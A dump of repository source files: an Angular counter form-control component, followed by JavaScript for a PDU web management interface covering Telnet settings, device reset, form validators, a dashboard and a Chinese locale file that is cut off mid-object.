] | 3 | Markdown | shubhangipatil12/data-muggle | ba6c58f25f412c78572794ab2d853fc89843ee34 | 27ed4aecc7dcfadf5d8855361579fcc5d472a06e |
refs/heads/master | <repo_name>tappmax/angular-tesla-range-calculator<file_sep>/src/app/tesla-battery/components/tesla-counter/tesla-counter.component.ts
// importing forwardRed as an extra here
import { Component, Input, ChangeDetectionStrategy, forwardRef } from '@angular/core';
// importing necessary accessors
import { ControlValueAccessor, NG_VALUE_ACCESSOR } from '@angular/forms';
// NUMBER_CONTROL_ACCESSOR constant to allow us to use the "TeslaCounterComponent" as
// a custom provider to the component and enforce the ControlValueAccessor interface
const NUMBER_CONTROL_ACCESSOR = {
provide: NG_VALUE_ACCESSOR,
// forwardRef allows us to grab the TypeScript class
// at a later (safer) point as classes aren't hoisted
useExisting: forwardRef(() => TeslaCounterComponent),
multi: true
};
@Component({
selector: 'tesla-counter',
changeDetection: ChangeDetectionStrategy.OnPush,
templateUrl: './tesla-counter.component.html',
// set the custom accessor as a provider
providers: [NUMBER_CONTROL_ACCESSOR],
styleUrls: ['./tesla-counter.component.scss']
})
export class TeslaCounterComponent implements ControlValueAccessor {
// step count, default of 1
@Input() step: number = 1;
// minimum number allowed before disabling buttons
@Input() min: number;
// maximum number allowed before disabling buttons
@Input() max: number;
// title to be passed to the ControlValueAccessor
@Input() title: string = '';
// unit to be used alongside the title (mph/degrees/anything)
@Input() unit: string = '';
value: number;
focused: boolean;
// internal functions to call when ControlValueAccessor gets called
private onTouch: Function;
private onModelChange: Function;
// out custom onChange method
private onChange(value: number) {
this.value = value;
this.onModelChange(value);
}
// called by the reactive form control
registerOnChange(fn: Function) {
// assigns to our internal model change method
this.onModelChange = fn;
}
// called by the reactive form control
registerOnTouched(fn: Function) {
// assigns to our own "touched" method
this.onTouch = fn;
}
// writes the value to the local component that binds to the "value"
writeValue(value: number) {
this.value = value;
}
// increment function
increment() {
if (this.value < this.max) {
this.onChange(this.value + this.step);
}
this.onTouch();
}
// decrement function
decrement() {
if (this.value > this.min) {
this.onChange(this.value - this.step);
}
this.onTouch();
}
// our onBlur event, has effect on template
private onBlur(event: FocusEvent) {
this.focused = false;
event.preventDefault();
event.stopPropagation();
}
// our onKeyip event, will respond to user ArrowDown and ArrowUp keys
// and call relevant functions we need
private onKeyUp(event: KeyboardEvent) {
let handlers = {
ArrowDown: () => this.decrement(),
ArrowUp: () => this.increment()
};
// events here stop the browser scrolling when using keys,
// as wekk as preventing event bubbling
if(handlers[event.code]) {
handlers[event.code]();
event.preventDefault();
event.stopPropagation();
}
}
}
| bf13e121c51ebc5a5562617afbc538bcc0099eb1 | [
"TypeScript"
] | 1 | TypeScript | tappmax/angular-tesla-range-calculator | cd5acc10f97bbe4f739f93a5aab41de30bc9ed11 | ef5b8c5523561ffd13afd511536d6d7e438ce664 |
refs/heads/master | <repo_name>noprettyboy/pdues<file_sep>/src/js/.svn/text-base/el.telnet.js.svn-base
(function() {
var self = EL.TelnetSet = function() {
var oldtelport, oldtelstat;
var $telnet_result = $("#telnet_result");
var submitHandler = function(form) {
var telnetport, chktelVal;
telnetport = $('#telnetport').val();
chktelVal = $('#chkEnableTelnet').is(':checked');
if (chktelVal) {
chktelVal = 1;
} else {
chktelVal = 0;
}
(oldtelport==telnetport && oldtelstat==chktelVal) ? $.messager.alert(MODEL.buttons.message, window.VALID.diffval) : updateTelnetPort(telnetport, chktelVal);
return false;
};
//Send data to the server in JSON format to Reset Network IP.
function updateTelnetPort(telnetport, chktelVal) {
var resettelnetportJson = {
"telnetport": telnetport,
"telnetstat": chktelVal
};
var oldport = $("#telnetport_h").val();
if (oldport == telnetport) {
$.ajax({
url: "private/networkservice.json",
data: resettelnetportJson,
dataType : "json",
success: function(data) {
var newDJson = jQuery.parseJSON('{"result":0}');
if ((data["telnetstat"]==3)||(data["telnetport"]==3)) {
newDJson = jQuery.parseJSON('{"result":3}');
} else if ((data["telnetstat"]!=3)&&(data["telnetport"]!=3)) {
newDJson = jQuery.parseJSON('{"result":1}');
}
if (EL.UpdateStatus(newDJson)) {
$('#mydialog').dialog('destroy');
$('#mydialog').html('');
$.messager.alert(MODEL.buttons.message, MODEL.pdu.resetsuccess);
}
}
});
} else {
$.messager.confirm(MODEL.buttons.message, MODEL.forcehttpinfo.confirminfo, function () {
$.ajax({
url: "private/networkservice.json",
data: resettelnetportJson,
dataType : "json",
success: function(data) {
var newDJson = jQuery.parseJSON('{"result":0}');
if ((data["telnetstat"]==3)||(data["telnetport"]==3)) {
newDJson = jQuery.parseJSON('{"result":3}');
}
if (EL.UpdateStatus(newDJson)) {
$('#mydialog').dialog('destroy');
$('#mydialog').html('');
EL.ResetDev.reset();
}
}
});
});
}
}
function loadTelnetInfo() {
$.ajax({
type: "GET",
url: "private/networkservice.json",
data: "{}",
dataType : "json",
success: function(data) {
$("#telnetport").val(data.telnetport);
$("#telnetport_h").val(data.telnetport);
if (data.telnetstat) {
$("#chkEnableTelnet").attr('checked', true);
}
oldtelport = data.telnetport;
oldtelstat = data.telnetstat;
}
});
}
function getTelnetPolicy() {
loadTelnetInfo();
$('#telnetport')
.focus(function() {
$telnet_result.hide();
})
.focus();
var policy = {};
$("#frtelnet").validate({
rules: {
telnetport: $.extend({required: true, digits: true, max: 65535}, policy)
},
submitHandler: submitHandler
});
}
getTelnetPolicy();
//EL.Privilege.setButton([$("#btnMainSubmit")], 0x00000080);
};
}());<file_sep>/src/js/.svn/text-base/el.resetdev.js.svn-base
(function() {
var ResetDev = EL.ResetDev = function() {
var submitHandler = function(form) {
$('#mydialog').dialog('destroy');
$('#mydialog').html('');
var user = $('div .navbar-fixed-bottom a span[id=user]').html();
console.log(user);
user == "admin" ? ResetDev.reset() : EL.UpdateStatus(jQuery.parseJSON('{"result":3}'));
};
function getNetworkCardPolicy() {
$("#frresetdev").validate({
rules: {
},
submitHandler: submitHandler
});
}
getNetworkCardPolicy();
//EL.Privilege.setButton([$("#btnMainSubmit")], 0x00000080);
};
/*
* Define prototype of ResetDev
* reset network card
*/
ResetDev.reset = function(seconds, url) {
$.ajax({
url: "private/reset.json",
dataType : "json",
success: function(data) {
// if (EL.UpdateStatus(data)) {
ResetDev.count(seconds, url);
// }
//ResetDev.count(seconds);
}
});
// ResetDev.count(seconds, url);
};
ResetDev.count = function(seconds, url) {
$('#resetDeviceDialog').dialog({
title: MODEL.master.resetdevicedl.txt
, classed: "noclosed"
});
seconds = seconds | 5;
EL.DashBoard.stop();
var countdown = function() {
if (seconds-- < 1) {
clearTimeout(window.countTimer);
url ? (location.href = url) : location.reload();
} else {
$("#spSecondsAtResetDev").text(seconds)
};
};
clearTimeout(window.countTimer);
window.countTimer = setInterval(countdown, 1000);
countdown();
};
}());<file_sep>/src/js/.svn/text-base/validator.js.svn-base
/*
Custom validate rules
*/
(function() {
$.validator.addMethod("ipv4",
function(value, element) {
return this.optional(element) || /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/i.test(value);
}, function() { return VALID.ipv4 });
// $.validator.addMethod("resetvalue",
// function(value, element) {
// return this.optional(element) || /^true$/i.test(value);
// }, function() { return VALID.resetvalue });
$.validator.addMethod("ipv6",
function(value, element) {
return this.optional(element) || /^((([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){6}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(([0-9A-Fa-f]{1,4}:){0,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|(::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b))|([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4})|(::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4})|(([0-9A-Fa-f]{1,4}:){1,7}:))$/i.test(value);
}, function() { return VALID.ipv6 });
$.validator.addMethod("nowhitespaces",
function(value, element){
return this.optional(element) || /^\S+$/i.test(value);
}, function() { return VALID.nowhite });
$.validator.addMethod("customDate",
function (value, element){
return this.optional(element) || /^(19|20)\d\d[-](0[1-9]|1[012])[-](0[1-9]|[12][0-9]|3[01])$/i.test(value);
}, function() { return VALID.customdate });
//For password
$.validator.addMethod("lowerChar", function(value, element) {
return /[a-z]/.test(value);
}, function() { return VALID.lowchar });
$.validator.addMethod("upperChar", function(value, element) {
return /[A-Z]/.test(value);
}, function() { return VALID.uppchar });
$.validator.addMethod("numberChar", function(value, element) {
return /\d/.test(value);
}, function() { return VALID.numchar });
$.validator.addMethod("specialChar", function(value, element) {
return /[^\w]/.test(value);
}, function() { return VALID.spechar });
$.validator.addMethod("notEqualTo", function(value, element, params) {
return value != $(params).val();
}, function() { return VALID.diffval });
$.validator.addMethod("greaterThan", function(value, element, params) {
return Number(value) >= Number($(params).val());
}, function() { return VALID.greater });
$.validator.addMethod("dtvalue",
function(value, element) {
return this.optional(element) || /^(\d{4})\/(0\d{1}|1[0-2])\/(0\d{1}|[12]\d{1}|3[01]) (0\d{1}|1\d{1}|2[0-3]):[0-5]\d{1}:([0-5]\d{1})$/i.test(value);
}, function() { return VALID.customdate });
//add by zzw begin
$.validator.addMethod("oldpwd", function(value, element, params) {
return value == EL.Auth.password;
}, function() { return VALID.oldpwd });
//
$.validator.addMethod("greaterThanCU", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.current;
}
// return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.current;
}, function() { return VALID.greaterC1 });
$.validator.addMethod("greaterThanCM", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ 2*window.THRESHODE_DEFAULT.current;
}
}, function() { return VALID.greaterC2 });
$.validator.addMethod("greaterThanCD", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
if (value!=0) {
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.current;
} else {
return Number(value) >= Number($(params).val());
}
}
}, function() { return VALID.greaterC3 });
//
$.validator.addMethod("greaterThanVU", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.voltage;
}
}, function() { return VALID.greaterV1 });
$.validator.addMethod("greaterThanVM", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ 2*window.THRESHODE_DEFAULT.voltage;
}
}, function() { return VALID.greaterV2 });
$.validator.addMethod("greaterThanVD", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.voltage;
}
}, function() { return VALID.greaterV3 });
//
$.validator.addMethod("greaterThanPU", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.power;
}
}, function() { return VALID.greaterP1 });
$.validator.addMethod("greaterThanPM", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ 2*window.THRESHODE_DEFAULT.power;
}
}, function() { return VALID.greaterP2 });
$.validator.addMethod("greaterThanPD", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
if (value!=0) {
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.power;
} else {
return Number(value) >= Number($(params).val());
}
}
}, function() { return VALID.greaterP3 });
//
$.validator.addMethod("greaterThanEUT", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.sensorT;
}
}, function() { return VALID.greaterE1 });
$.validator.addMethod("greaterThanEMT", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ 2*window.THRESHODE_DEFAULT.sensorT;
}
}, function() { return VALID.greaterE2 });
$.validator.addMethod("greaterThanEDT", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.sensorT;
}
}, function() { return VALID.greaterE3 });
//
$.validator.addMethod("greaterThanEUH", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.sensorH;
}
}, function() { return VALID.greaterE4 });
$.validator.addMethod("greaterThanEMH", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ 2*window.THRESHODE_DEFAULT.sensorH;
}
}, function() { return VALID.greaterE5 });
$.validator.addMethod("greaterThanEDH", function(value, element, params) {
var result = validateTOF();
if(!result){
return true;
}else{
return Number(value) >= Number($(params).val())+ window.THRESHODE_DEFAULT.sensorH;
}
}, function() { return VALID.greaterE6 });
function validateTOF() {
var v1,v2,v3,v4,v;
v1 = !$("#upcritical").val()?0:$("#upcritical").val();
v2 = !$("#upwarning").val()?0:$("#upwarning").val();
v3 = !$("#lowwarning").val()?0:$("#lowwarning").val();
v4 = !$("#lowcritical").val()?0:$("#lowcritical").val();
v = parseInt(v1) + parseInt(v2) + parseInt(v3) + parseInt(v4);
console.log('v3:'+v);
return v;
}
//add by zzw end
})();<file_sep>/src/js/.svn/text-base/el.dashboards.js.svn-base
(function(window, document) {
var refreshTimer;
var timerID = 0
, slowTimerID = 0
, setTimerID = 0
;
/*
DashBoard functionalities
*/
var self = EL.DashBoard = function() {
var model = MODEL.dashboard;
var $currentGrid = $("#currentgrid")
, $voltageGrid = $("#voltagegrid")
, $energyGrid = $("#energygrid")
//, $circuitGrid = $("#circuitGrid")
, $alarmsGrid = $("#alarmsgrid")
, $sensorGrid = $("#sensorgrid")
, interval = 1000
//, title = "Loading"
, irmcInfo = { energy_reset: 0 }
, title = model.loading;
//Need to refresh the dashboard?
self.visibleAll = function() {
// return $("#mydialog:visible").size() < 1
// && $(".dashboard:visible").size() > 0;
return true;
};
//Need to refresh the datagrid?
self.visible = function() {
//There is: 1) no dialog popuped 2) dashboard is visiable, 3) No force change password
//return $(".dashboard:visible").size() > 0;
return $(".dialog.modal:visible").size() <= 0;
};
var plot
, yAxis
;
self.filterColsByRows = function(cols, rows) {
var newCols = []
, row = rows[0];
if (!row) return cols;
for (var i = 0, l = cols.length; i < l; i++) {
var col = cols[i];
typeof row[col.field] != "undefined" && row[col.field] != -1 && newCols.push(col);
}
return newCols;
};
//add by zzw begin
var resetEnergy;
var resetTime;
self.getResetEnergy = function() {
$.getJSON("private/resetenergy.json?action=0", function(data) {
var resetegy = parseInt(data.result2);
resetEnergy = (resetegy/10).toFixed(1);
resetTime = data.resettime;
});
};
//add by zzw end
//Prevent click too fast
self.init = function() {
self.setInitTimer();
self.getInitPDUType();
self.start();
};
self.start = function() {
//stop timer previous opened
self.stop();
timerID = window.setInterval(function() {
self.getResetEnergy();
self.getEnergyParams();
} , 2 * interval);
// slowTimerID = window.setTimeout(function() {
slowTimerID = window.setInterval(function() {
self.getSensors();
self.getPDUInfo();
}, 10 * interval)
//refresh once
self.getResetEnergy();
self.getEnergyParams();
self.getSensors();
self.getPDUInfo();
};
/*
Before refresh stop all the timer
*/
self.stop = function() {
window.clearInterval(timerID);
window.clearInterval(slowTimerID);
};
var timer = 0;
var data = []
, totalPoints = 150;
function getChartData(val) {
data.length > totalPoints && (data = data.slice(1));
// Do a random walk
while (data.length < totalPoints) {
data.push(val);
}
typeof val != "undefined" && data.push(val);
var res = [];
for (var i = 0; i < data.length; ++i) {
res.push([i * 2, data[i]])
}
return res;
}
// var initTimer = function(datetime) {
// window.clearInterval(setTimerID);
// // console.log("yi"+datetime);
// var curtime = datetime || new Date()
// , $currenttime = $("#currenttime")
// ;
// var formatTime = function(time) {
// var strTime = (time || curtime).toString()
// , idxGMT = strTime.indexOf("GMT")
// ;
// (idxGMT < 0) && (idxGMT = strTime.indexOf("UTC"));
// return strTime.substr(0, idxGMT);
// };
// var updateCurrentTime = function() {
// // console.log("er"+formatTime());
// $currenttime.html(formatTime());
// curtime = new Date(1000 + +curtime);
// // console.log(curtime);
// };
// setTimerID = window.setInterval(updateCurrentTime, 1000);
// updateCurrentTime();
// };
var initTimer = function(datetime) {
window.clearInterval(setTimerID);
var newdate = new Date(datetime);
var datetime = newdate.getTime();
var curtime = datetime || new Date()
, $currenttime = $("#currenttime")
;
var formatTime = function(time) {
var strTime = (time || curtime).toString()
, idxGMT = strTime.indexOf("GMT")
;
(idxGMT < 0) && (idxGMT = strTime.indexOf("UTC"));
return strTime.substr(0, idxGMT);
};
var updateCurrentTime = function() {
$currenttime.html(formatTime());
curtime = new Date(1000 + +curtime);
};
setTimerID = window.setInterval(updateCurrentTime, 1000);
updateCurrentTime();
};
//add by zzw begin
self.setInitTimer = function () {
$.getJSON("private/irmc.json", function(json) {
// initTimer(EL.DateTime.getDate(json.time));
initTimer(json.time);
});
};
self.getInitPDUType = function () {
$.getJSON("private/devinfo.json", function(json) {
window.devtypeinfo = json.result;
});
};
// add by zzw end
var tag = {};
self.getPDUInfo = function() {
if (!tag.alarmsGrid) {
$alarmsGrid.datagrid({
columns: [[
{title: MODEL.devinfo.sku, field:"sku"}
, {title: model.status, field:"unit", formatter: function() {
return $(".alarm-lowercritical, .alarm-uppercritical, .alarm-lowerwarning, .alarm-upperwarning").size() >= 1
? EL.SetAlarm.getAlarmTxt(STATUSTYPE[3]) : model.ok;
}}
, {title: model.pduname, field:"name"}
, {title: model.location, field:"location"}
]]
});
tag.alarmsGrid = 1;
}
$.getJSON("private/irmc.json", function(json) {
// initTimer(EL.DateTime.getDate(json.time));
irmcInfo = json;
$alarmsGrid.datagrid('loadData', {rows : [json]});
});
};
self.getEnergyParams = function() {
if (!self.visible()) return;
var formatterStatus = function(val, row) {
return "OK";
};
/*
Get pdu energy
*/
var setEnergyGrid = function(rows) {
var energyVal = rows[0].activepower || 0;
if (!tag.energyGrid) {
$energyGrid.datagrid({
columns: [ self.filterColsByRows([
{title: POWERENERGY.activepower, field: "activepower"}
, {field:"status", title:"{0}".format(model.status), formatter: function(value, row) {
return EL.SetAlarm.getAlarmStr(
"alarmpower", value, {}, "(W)", 0x00000010
);
}}
, {title: POWERENERGY.apparentpower, field: "apparentpower"}
, {field:"powerfactor", title:MODEL.phases.powerfactor, formatter: function(value, row) {
return (value/1000).toFixed(2);
}}
], rows)]
});
tag.energyGrid = 1;
}
$energyGrid.datagrid('loadData', {rows : rows});
};
/*
Get pdu voltage
*/
var setVoltageGrid = function(rows) {
//self.getChart([], "#voltagechart");
if (!tag.voltageGrid) {
$voltageGrid.datagrid({
columns: [ self.filterColsByRows([
{title: "L1", field: "l1"}
// , {title: "L2", field: "l2"}
// , {title: "L3", field: "l3"}
, {field:"status", title:"{0}".format(model.status), formatter: function(value, row) {
return EL.SetAlarm.getAlarmStr(
"alarmvoltage", value, {}, "(V)", 0x00000010
);
}}
, {field:"totalenergymeter", title:POWERENERGY.totalenergymeter, formatter: function(value, row) {
return (value/10).toFixed(1);
}}
, {title: MODEL.phases.activepower, field: "totalenergymeter", formatter: function() {
return '<b class="tspan">(<span>{0} kWh</span> {1})</b> <a href="javascript:EL.DashBoard.resetEnergy()" class="menu" style="margin-left:1px;">{2}</a>'.format(
resetEnergy
, resetTime
,MODEL.pdu.reset
// , (irmcInfo.energy_reset).toFixed(1)
// , EL.DateTime.formatDate(EL.DateTime.getDate(irmcInfo.energy_reset_time))
);
}}
], rows)]
});
tag.voltageGrid = 1;
}
$voltageGrid.datagrid('loadData', {rows: rows});
};
/*
Get pdu current
*/
var setCurrentGrid = function(rows) {
//self.getChart([], "#currentchart");
if (!tag.currentGrid) {
$currentGrid.datagrid({
columns: [ self.filterColsByRows([
{title: "L1", field: "l1", formatter: function(value, row){return (value/10).toFixed(1);}}
, {title: model.status, field: "l1status", formatter: function(value, row) {
return EL.SetAlarm.getAlarmStr(
"alarml1", value, {}, "(A)", 0x00000010
);
}}
, {title: model.cb1current, field: "cb1current", formatter: function(value, row){return (value/10).toFixed(1);}}
, {field: "cb1status", title:"{0}".format(model.cb1status), formatter: function(value, row) {
return EL.SetAlarm.getAlarmStr(
"alarmcb1", value, {idx: 0}, "(A)", 0x00000010
);
}}
, {title: model.cb2current, field: "cb2current", formatter: function(value, row){return (value/10).toFixed(1);}}
, {field: "cb2status", title:"{0}".format(model.cb2status), formatter: function(value, row) {
return EL.SetAlarm.getAlarmStr(
"alarmcb2", value, {idx: 1}, "(A)", 0x00000010
);
}}
], rows)]
});
tag.currentGrid = 1;
}
$currentGrid.datagrid('loadData', {rows: rows});
};
$.ajax({
url: "public/energy.json",
dataType: "json",
success: function(data) {
if (data.current.cb1status==-1 && data.current.cb2status==-1) {
$("#currentdiv2").show();
$("#currentdiv1").hide();
$currentGrid = $("#currentgrid2");
} else {
$("#currentdiv1").show();
$("#currentdiv2").hide();
// $currentGrid = $("#currentgrid2");
}
setEnergyGrid([data.energy]);
setVoltageGrid([data.voltage]);
setCurrentGrid([data.current]);
//setCircuitGrid([data.circuit]);
}
});
};
self.getSensors = function() {
if (!self.visible()) return;
var sensorHandler = function(data) {
var dataArr = [];
$.each(data, function (key, value) {
if (0 != value.connection) {
dataArr.push(value);
}
});
$sensorGrid.datagrid({
columns:[[
{field:"type", title:"{0}".format(model.externalsensortype), formatter: function(value) {
return SENSORTYPE[value];
}},
{field:"status", title:"{0}".format(model.status), formatter: function(value, row) {
//return STATUSTYPE[value];
var type = row["type"]
, unit;
(type == 1) && (unit = TEMPUNIT[EL.Privilege.temperature]);
(type == 2) && (unit = "H");
return EL.SetAlarm.getAlarmStr(
SENSORALARMURL[type], value, {sensortype: type}, unit, 0x00000010
);
}},
{field:"sensorname", title:"{0}".format(model.sensorname)},
// {field:"pduid", title:"{0}".format(model.pduid) },
// {field:"pduname", title:"{0}".format(model.pduname) },
{field:"aisle", title:"{0}".format(MODEL.sensor.aisle), formatter: function(value, row){
if (1==value) {
return "Hot";
} else {
return "Cold";
}
} },
{field:"value", title:"{0}".format(model.value), formatter: function(value, row){
var type = row["type"];
if(type==1) return (value/10).toFixed(1);
if(type==2) return value;
} }
]]
});
$sensorGrid.datagrid("loadData", {rows: dataArr});
};
$.ajax({
url: "public/sensor.json"
, dataType: "json"
, success: sensorHandler
});
};
return self;
};
self.resetEnergy = function() {
$.messager.confirm(MODEL.buttons.message, MODEL.pdu.reallyresetenergy, function() {
$.getJSON("private/resetenergy.json?action=1", function(data) {
$.messager.alert(MODEL.buttons.info, MODEL.pdu.resetsuccess);
self.getResetEnergy();
});
});
};
/*update timeout*/
var idleTimer;
$(document.body).mousemove(function() {
clearTimeout(idleTimer);
idleTimer = setTimeout(function() {
location.reload();
}, 1000 * 60 * 20);
});
})(window, document);<file_sep>/src/js/locale.cn.new .js
/*configuration.js*/
/*Model*/
(function(window) {
/*--> FOR ALARM BEGIN <--*/
window.ALARMTYPE = {
0: "PDU",
1: "输入相位",
2: "断路器",
3: "输出端口",
4: "外置传感器"
};
window.SENSORTYPE = {
1: "温度 (℃)",
2: "湿度 (%)",
3: "门开关",
4: "干触点",
5: "点式漏水传感器",
6: "绳式漏水传感器",
7: "烟雾传感器",
8: "警报灯"
};
window.TEMPUNIT = {
0: "摄氏度",
1: "华氏度"
};
window.ALARMUNITTYPE = {
A: {
unit: " (A)",
factor: 1000,
fixed: 2,
max: 16,
min: 0,
title: "电流"
},
V: {
unit: " (V)",
factor: 1000,
fixed: 0,
max: 260,
min: 90,
title: "电压"
},
VA: {
unit: " (VA)",
factor: 1000,
fixed: 0,
min: 0,
max: 49140,
title: "视在功率"
},
W: {
unit: " (W)",
factor: 1000,
fixed: 0,
min: 0,
max: 49140,
title: "有效功率"
},
Wh: {
unit: " (Wh)",
factor: 1000,
fixed: 2,
min: 0,
max: 1000000000,
title: "能量"
},
C: {
unit : " (°C)",
factor: 1,
fixed: 0,
min: 0,
max: 75,
title: "温度"
},
F: {
unit : " (F)",
factor: 1,
fixed: 0,
min: 32,
max: 167,
title: "温度"
},
H: {
unit : " (%)",
factor : 1,
fixed: 0,
min: 15,
max: 90,
title: "湿度"
}
};
/*--> FOR ALARM END <--*/
/*--> FOR POWER ENERGY BEGIN <--*/
window.POWERENERGY = {
"activepower" : "有效功率 (W)",
"apparentpower" : "视在功率 (VA)",
"totalenergymeter" : "总电能 (kWh)"
};
/*--> FOR POWER ENERGY END <--*/
/*--> FOR ENENTRULE SETTING DIALOG BEGIN <--*/
window.EVENTMAP = {
1 : "Critical Alarm",
2 : "Warning Alarm",
4 : "External Sensor Status Changed",
8 : "PDU Configuration File Imported/Exported",
16 : "Firmware Update",
32 : "Network Card Reset/Start",
64 : "Communication Status Changed",
128 : "<PASSWORD>",
256 : "Log File Cleared",
512 : "Network Interface Link Status Changed"
};
MODEL.eventrl = {
spEnableAll: "全选",
spEventRule: "事件规则",
};
/*--> FOR ENENTRULE SETTING DIALOG END <--*/
/*Root of the tree*/
EL.TreeRoot = {
"id": "dashboard",
"text": "控制面板",
"iconCls": "icon-desk"
};
/*--> FOR LOGIN PAGE BEGIN <--*/
/*--main pages--*/
/*login page*/
MODEL.login = {
title: "登录",
username: "用户名",
password: "密码",
login: "登录",
clear: "清除"
};
/*--> FOR LOGIN PAGE END <--*/
/*--> FOR DIALOG HEAD BEGIN <--*/
/*master page*/
MODEL.master = {
useradmin: {
txt: "用户管理",
changepw:{
txt: "更改密码",
dlg: "更改用户密码"
},
users: {
txt: "用户",
dlg: "管理用户"
},
roles: {
txt: "用户组",
dlg: "管理用户组"
}
},
deviceadmin: {
txt: "设备配置",
networkser: {
txt: "网络服务",
http: {
txt: "HTTP",
dlg: "HTTP设置"
},
snmp: {
txt: "SNMP",
dlg: "SNMP设置"
},
ssh: {
txt: "SSH",
dlg: "SSH设置"
},
telnet: {
txt: "TELNET",
dlg: "TELNET设置"
},
ftp: {
txt: "FTP",
dlg: "FTP设置"
}
},
networkcon: {
txt: "网络配置",
dlg: "网络配置"
},
security: {
txt: "安全",
loginset: {
txt: "登录设置",
dlg: "登录设置"
},
passwordpol: {
txt: "密码策略",
dlg: "密码策略"
},
forcehttps: {
txt: "为Web访问强制设置HTTPS",
dlg: "强制设置Https"
}
},
eventrules: {
txt: "事件规则设置",
dlg: "事件规则设置"
},
datalog: {
txt: "数据日志",
dlg: "数据日志设置"
},
datetime: {
txt: "日期/时间",
dlg: "配置日期/时间"
},
smtpemail: {
txt: "SMTP邮件",
dlg: "SMTP服务器设置"
},
serverreach: {
txt: "服务器可访问性",
dlg: "服务器可访问性"
},
usb: {
txt: "USB",
dlg: "USB设置"
},
pduinfo: {
txt: "PDU 信息",
dlg: "PDU 信息设置"
},
sensorinfo: {
txt: "传感器信息",
dlg: "传感器信息设置"
}
},
systemadmin: {
txt: "系统管理",
vweventlog: {
txt: "查看事件日志",
dlg: "查看事件日志"
},
vwdatalog: {
txt: "查看数据日志",
dlg: "查看数据日志"
},
firmwaremt: {
txt: "固件维护",
udfirmware: {
txt: "更新固件",
dlg: "固件更新"
},
vwfirmwareud: {
txt: "查看固件更新历史",
dlg: "固件更新历史"
}
},
conusers: {
txt: "连接的用户",
dlg: "连接的用户"
},
diagnostic: {
txt: "日志下载",
dldiaginfo: {
txt: "下载日志信息",
dlg: "下载日志信息"
}
},
pduconfig: {
txt: "PDU 配置文件",
dlg: "配置文件"
},
deviceinfo: {
txt: "设备信息",
dlg: "设备信息"
},
nwcardreset: {
txt: "网络管理卡复位",
dlg: "网络管理卡复位"
}
},
help: {
txt: "帮助",
userguide: {
txt: "用户指引",
dlg: "用户指引"
}
},
setalarmdl: {
lowercritical: "下临界值",
lowerwarning: "下临界警告",
upperwarning: "上临界警告",
uppercritical: "上临界值",
resetthreshold: "复位阈值",
alarmscdelay: "告警状态变化的延迟:",
alarmsetting: "告警设置",
enablealarm: "启用告警设置",
updatefail: "更新失败",
lowcriticalinfo: "下临界值+阈值应小于或等于下临界警告!",
lowwarninfo: "下临界警告+2倍复位阈值应小于或等于上临界警告!",
upwarninfo: "上临界警告+阈值应小于或等于上临界值!",
lowcriticalinfo2: "下临界值+2倍复位阈值应小于或等于上临界警告!",
lowcriticalinfo3: "下临界值+2倍复位阈值应小于或等于上临界值!",
lowwarninfo2: "下临界警告+2倍复位阈值应小于或等于上临界值!"
},
resetdevicedl: {
txt: "网络管理卡重置",
txt1: "在几秒钟后网络管理卡会被重置。",
txt2: "您将会被重定向到登录页面,在",
txt3: "秒后。",
txt4: "如果重定向无法连接,请点击",
txt5: "此连接",
